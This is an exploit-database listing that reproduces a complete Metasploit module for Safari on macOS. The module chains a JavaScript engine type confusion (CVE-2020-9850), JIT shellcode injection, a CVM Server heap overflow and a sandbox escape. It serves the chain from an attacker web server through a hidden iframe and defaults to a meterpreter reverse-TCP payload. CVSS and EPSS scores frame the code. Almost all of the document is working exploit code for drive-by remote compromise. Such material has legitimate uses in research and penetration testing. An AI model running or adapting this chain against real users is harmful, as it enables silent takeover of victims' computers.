Lucene search

K
zdtYonghwi Jin1337DAY-ID-34995
HistoryOct 01, 2020 - 12:00 a.m.

Safari Type Confusion / Sandbox Escape Exploit

2020-10-0100:00:00
Yonghwi Jin
0day.today
37

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.476 Medium

EPSS

Percentile

97.4%

This Metasploit module exploits an incorrect side-effect modeling of the ‘in’ operator. The DFG compiler assumes that the ‘in’ operator is side-effect free, however the embed element with the PDF plugin provides a callback that can trigger side-effects leading to type confusion (CVE-2020-9850). The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit. The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Safari in Operator Side Effect Exploit',
        'Description' => %q{
          This module exploits an incorrect side-effect modeling of the 'in' operator.
          The DFG compiler assumes that the 'in' operator is side-effect free, however
          the <embed> element with the PDF plugin provides a callback that can trigger
          side-effects leading to type confusion (CVE-2020-9850).
          The type confusion can be used as addrof and fakeobj primitives that then
          lead to arbitrary read/write of memory. These primitives allow us to write
          shellcode into a JIT region (RWX memory) containing the next stage of the
          exploit.
          The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
          and extracts a macOS application containing our payload into /var/db/CVMS.
          The payload can then be opened with CVE-2020-9801, executing the payload
          as a user but without sandbox restrictions.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
            'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
            'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
            'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
            'timwr' # metasploit integration
          ],
        'References' => [
          ['CVE', '2020-9801'],
          ['CVE', '2020-9850'],
          ['CVE', '2020-9856'],
          ['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
        'DisclosureDate' => 'Mar 18 2020'
      )
    )
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
    ])
  end

  def exploit_js
    <<~JS
      const DUMMY_MODE = 0;
      const ADDRESSOF_MODE = 1;
      const FAKEOBJ_MODE = 2;

      function pwn() {
        let otherWindow = document.getElementById('frame').contentWindow;
        let innerDiv = otherWindow.document.querySelector('div');

        if (!innerDiv) {
          print("Failed to get innerDiv");
          return;
        }

        let embed = otherWindow.document.querySelector('embed');

        otherWindow.document.body.removeChild(embed);
        otherWindow.document.body.removeChild(otherWindow.annotationContainer);

        const origFakeObjArr = [1.1, 1.1];
        const origAddrOfArr = [2.2, 2.2];
        let fakeObjArr = Array.from(origFakeObjArr);
        let addressOfArr = Array.from(origAddrOfArr);
        let addressOfTarget = {};

        let sideEffectMode = DUMMY_MODE;
        otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {
          if (sideEffectMode == DUMMY_MODE)
            return;
          else if (sideEffectMode == FAKEOBJ_MODE)
            fakeObjArr[0] = {};
          else if (sideEffectMode == ADDRESSOF_MODE)
            addressOfArr[0] = addressOfTarget;
        });

        print('Callback is registered');

        otherWindow.document.body.appendChild(embed);
        let triggerArr;

        function optFakeObj(triggerArr, arr, addr) {
          arr[1] = 5.5;
          let tmp = 0 in triggerArr;
          arr[0] = addr;
          return tmp;
        }

        function optAddrOf(triggerArr, arr) {
          arr[1] = 6.6;
          let tmp = 0 in triggerArr;
          return [arr[0], tmp];
        }

        function prepare() {
          triggerArr = [7.7, 8.8];
          triggerArr.__proto__ = embed;
          sideEffectMode = DUMMY_MODE;
          for (var i = 0; i < 1e5; i++) {
            optFakeObj(triggerArr, fakeObjArr, 9.9);
            optAddrOf(triggerArr, addressOfArr);
          }
          delete triggerArr[0];
        }

        function cleanup() {
          otherWindow.document.body.removeChild(embed);
          otherWindow.document.body.appendChild(embed);

          if (sideEffectMode == FAKEOBJ_MODE)
            fakeObjArr = Array.from(origFakeObjArr);
          else if (sideEffectMode == ADDRESSOF_MODE)
            addressOfArr = Array.from(origAddrOfArr);

          sideEffectMode = DUMMY_MODE;
        }

        function addressOf(obj) {
          addressOfTarget = obj;
          sideEffectMode = ADDRESSOF_MODE;
          let ret = optAddrOf(triggerArr, addressOfArr)[0];
          cleanup();
          return Int64.fromDouble(ret);
        }

        function fakeObj(addr) {
          sideEffectMode = FAKEOBJ_MODE;
          optFakeObj(triggerArr, fakeObjArr, addr.asDouble());
          let ret = fakeObjArr[0];
          cleanup();
          return ret;
        }

        prepare();
        print("Prepare is done");

        let hostObj = {
          _: 1.1,
          length: (new Int64('0x4141414141414141')).asDouble(),
          id: new Int64([
            0, 0, 0, 0, // m_structureID
            0x17,       // m_indexingType
            0x19,       // m_type
            0x08,       // m_flags
            0x1         // m_cellState
          ]).asJSValue(),
          butterfly: 0,
          o:1,
          executable:{
            a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
            unlinkedExecutable:{
              isBuiltinFunction: 1 << 31,
              b:0, c:0, d:0, e:0, f:0, g:0,              // Padding (offset: 0x48)
              identifier: null
            }
          },
          strlen_or_id: (new Int64('0x10')).asDouble(),
          target: null
        }

        // Structure ID leak of hostObj.target
        hostObj.target=hostObj

        var hostObjRawAddr = addressOf(hostObj);
        var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)
        var fakeHostObj = fakeObj(hostObjBufferAddr);
        var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));

        hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier
        let rawStructureId=Function.prototype.toString.apply(fakeHostObj)

        let leakStructureId=Add(new Int64(
          rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000
          ), new Int64([
            0, 0, 0, 0, // m_structureID
            0x07,       // m_indexingType
            0x22,       // m_type
            0x06,       // m_flags
            0x1         // m_cellState
        ]))
        print('Leaked structure ID: ' + leakStructureId);

        hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();
        hostObj.butterfly = fakeHostObj;

        addressOf = function(obj) {
          hostObj.o = obj;
          return Int64.fromDouble(fakeHostObj[2]);
        }

        fakeObj = function(addr) {
          fakeHostObj[2] = addr.asDouble();
          return hostObj.o;
        }

        print('Got reliable addressOf/fakeObj');

        let rwObj = {
          _: 1.1,
          length: (new Int64('0x4141414141414141')).asDouble(),
          id: leakStructureId.asDouble(),
          butterfly: 1.1,

          __: 1.1,
          innerLength: (new Int64('0x4141414141414141')).asDouble(),
          innerId: leakStructureId.asDouble(),
          innerButterfly: 1.1,
        }

        var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);
        var fakeRwObj = fakeObj(rwObjBufferAddr);
        rwObj.butterfly = fakeRwObj;

        var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));
        rwObj.innerButterfly = fakeInnerObj;


        function read64(addr) {
          // We use butterfly and it depends on its size in -1 index
          // Thus, we keep searching non-zero value to read value
          for (var i = 0; i < 0x1000; i++) {
            fakeRwObj[5] = Sub(addr, -8 * i).asDouble();
            let value = fakeInnerObj[i];
            if (value) {
              return Int64.fromDouble(value);
            }
          }
          throw 'Failed to read: ' + addr;
        }

        function write64(addr, value) {
          fakeRwObj[5] = addr.asDouble();
          fakeInnerObj[0] = value.asDouble();
        }

        function makeJITCompiledFunction() {
          var obj = {};
          // Some code to avoid inlining...
          function target(num) {
            num ^= Math.random() * 10000;
            num ^= 0x70000001;
            num ^= Math.random() * 10000;
            num ^= 0x70000002;
            num ^= Math.random() * 10000;
            num ^= 0x70000003;
            num ^= Math.random() * 10000;
            num ^= 0x70000004;
            num ^= Math.random() * 10000;
            num ^= 0x70000005;
            num ^= Math.random() * 10000;
            num ^= 0x70000006;
            num ^= Math.random() * 10000;
            num ^= 0x70000007;
            num ^= Math.random() * 10000;
            num ^= 0x70000008;
            num ^= Math.random() * 10000;
            num ^= 0x70000009;
            num ^= Math.random() * 10000;
            num ^= 0x7000000a;
            num ^= Math.random() * 10000;
            num ^= 0x7000000b;
            num ^= Math.random() * 10000;
            num ^= 0x7000000c;
            num ^= Math.random() * 10000;
            num ^= 0x7000000d;
            num ^= Math.random() * 10000;
            num ^= 0x7000000e;
            num ^= Math.random() * 10000;
            num ^= 0x7000000f;
            num ^= Math.random() * 10000;
            num ^= 0x70000010;
            num ^= Math.random() * 10000;
            num ^= 0x70000011;
            num ^= Math.random() * 10000;
            num ^= 0x70000012;
            num ^= Math.random() * 10000;
            num ^= 0x70000013;
            num ^= Math.random() * 10000;
            num ^= 0x70000014;
            num ^= Math.random() * 10000;
            num ^= 0x70000015;
            num ^= Math.random() * 10000;
            num ^= 0x70000016;
            num ^= Math.random() * 10000;
            num ^= 0x70000017;
            num ^= Math.random() * 10000;
            num ^= 0x70000018;
            num ^= Math.random() * 10000;
            num ^= 0x70000019;
            num ^= Math.random() * 10000;
            num ^= 0x7000001a;
            num ^= Math.random() * 10000;
            num ^= 0x7000001b;
            num ^= Math.random() * 10000;
            num ^= 0x7000001c;
            num ^= Math.random() * 10000;
            num ^= 0x7000001d;
            num ^= Math.random() * 10000;
            num ^= 0x7000001e;
            num ^= Math.random() * 10000;
            num ^= 0x7000001f;
            num ^= Math.random() * 10000;
            num ^= 0x70000020;
            num ^= Math.random() * 10000;
            num &= 0xffff;
            return num;
          }

          // Force JIT compilation.
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          return target;
        }

        function getJITCodeAddr(func) {
          var funcAddr = addressOf(func);
          print("Target function @ " + funcAddr.toString());
          var executableAddr = read64(Add(funcAddr, 3 * 8));
          print("Executable instance @ " + executableAddr.toString());

          var jitCodeAddr = read64(Add(executableAddr, 3 * 8));
          print("JITCode instance @ " + jitCodeAddr.toString());

          if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||
              And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {
            jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);
            print("approx. JITCode instance @ " + jitCodeAddr.toString());
          }

          return jitCodeAddr;
        }

        function setJITCodeAddr(func, addr) {
          var funcAddr = addressOf(func);
          print("Target function @ " + funcAddr.toString());
          var executableAddr = read64(Add(funcAddr, 3 * 8));
          print("Executable instance @ " + executableAddr.toString());
          write64(Add(executableAddr, 3 * 8), addr);
        }

        function getJITFunction() {
          var shellcodeFunc = makeJITCompiledFunction();
          shellcodeFunc();
          var jitCodeAddr = getJITCodeAddr(shellcodeFunc);
          return [shellcodeFunc, jitCodeAddr];
        }

        var [_JITFunc, rwxMemAddr] = getJITFunction();

        for (var i = 0; i < stage0.length; i++)
          write64(Add(rwxMemAddr, i), new Int64(stage0[i]));

        setJITCodeAddr(alert, rwxMemAddr);
        var argv = {
          a0: stage1Arr,
          a1: stage2Arr,
          doc: document,
          a2: 0x41414141,
          a3: 0x42424242,
          a4: 0x43434343,
        };
        alert(argv);
      }

      var ready = new Promise(function(resolve) {
        if (typeof(window) === 'undefined')
          resolve();
        else
          window.onload = function() {
            resolve();
          }
      });

      ready.then(function() {
        try {
          pwn()
        } catch (e) {
          print("Exception caught: " + e);
          location.reload();
        }
      }).catch(function(err) {
        print("Initializatin failed");
      });
    JS
  end

  def offset_table
    {
      'placeholder' => {
        jsc_confstr_stub: 0x0FF5370041414141,
        jsc_llint_entry_call: 0x0FF5370041414142,
        libsystem_c_confstr: 0x0FF5370041414143,
        libsystem_c_dlopen: 0x0FF5370041414144,
        libsystem_c_dlsym: 0x0FF5370041414145
      },
      '10.15.3' => {
        jsc_confstr_stub: 0xE7D8B4,
        jsc_llint_entry_call: 0x361f13,
        libsystem_c_confstr: 0x2644,
        libsystem_c_dlopen: 0x80430,
        libsystem_c_dlsym: 0x80436
      },
      '10.15.4' => {
        jsc_confstr_stub: 0xF96446,
        jsc_llint_entry_call: 0x380a1d,
        libsystem_c_confstr: 0x2be4,
        libsystem_c_dlopen: 0x8021e,
        libsystem_c_dlsym: 0x80224
      }
    }
  end

  def get_offsets(user_agent)
    if user_agent =~ /Intel Mac OS X (.*?)\)/
      osx_version = Regexp.last_match(1).gsub('_', '.')
      if user_agent =~ %r{Version/(.*?) }
        if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')
          print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
          return false
        else
          print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
        end
      end
      mac_osx_version = Gem::Version.new(osx_version)
      if mac_osx_version >= Gem::Version.new('10.15.5')
        print_warning "macOS version #{mac_osx_version} is not vulnerable"
      elsif mac_osx_version < Gem::Version.new('10.14')
        print_warning "macOS version #{mac_osx_version} is not supported"
      elsif offset_table.key?(osx_version)
        return offset_table[osx_version]
      else
        print_warning "No offsets for version #{mac_osx_version}"
      end
    else
      print_warning 'Unexpected User-Agent'
    end
    return false
  end

  def on_request_uri(cli, request)
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    user_agent = request['User-Agent']
    print_status("Request #{request.uri} from #{user_agent}")
    if request.uri.ends_with? '.pdf'
      send_response(cli, '', { 'Content-Type' => 'application/pdf' })
      return
    end

    offsets = get_offsets(user_agent)
    unless offsets
      send_not_found(cli)
      return
    end

    utils = exploit_data 'javascript_utils', 'utils.js'
    int64 = exploit_data 'javascript_utils', 'int64.js'
    stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'
    stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
    stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'

    offset_table['placeholder'].each do |k, v|
      placeholder_index = stage1.index([v].pack('Q'))
      stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
    end

    case target['Arch']
    when ARCH_X64
      root_payload = payload.encoded
    when ARCH_PYTHON
      root_payload = "CMD:echo \"#{payload.encoded}\" | python"
    when ARCH_CMD
      root_payload = "CMD:#{payload.encoded}"
    end
    if root_payload.length > 1024
      fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
    end
    placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
    stage2[placeholder_index, root_payload.length] = root_payload
    payload_js = <<~JS
      const stage0 = [
        #{Rex::Text.to_num(stage0)}
      ];
      var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);
      var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);
    JS

    jscript = <<~JS
      #{utils}
      #{int64}
      #{payload_js}
      #{exploit_js}
    JS

    if datastore['DEBUG_EXPLOIT']
      debugjs = %^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(%r{//.*$}, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    pdfpath = datastore['URIPATH'] || get_resource
    pdfpath += '/' unless pdfpath.end_with? '/'
    pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'

    html = <<~HTML
      <html>
        <head>
          <style>
            body {
              margin: 0;
            }
            iframe {
              display: none;
            }
          </style>
        </head>
        <body>
          <iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>
          <script>
          #{jscript}
          </script>
        </body>
      </html>
    HTML

    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.476 Medium

EPSS

Percentile

97.4%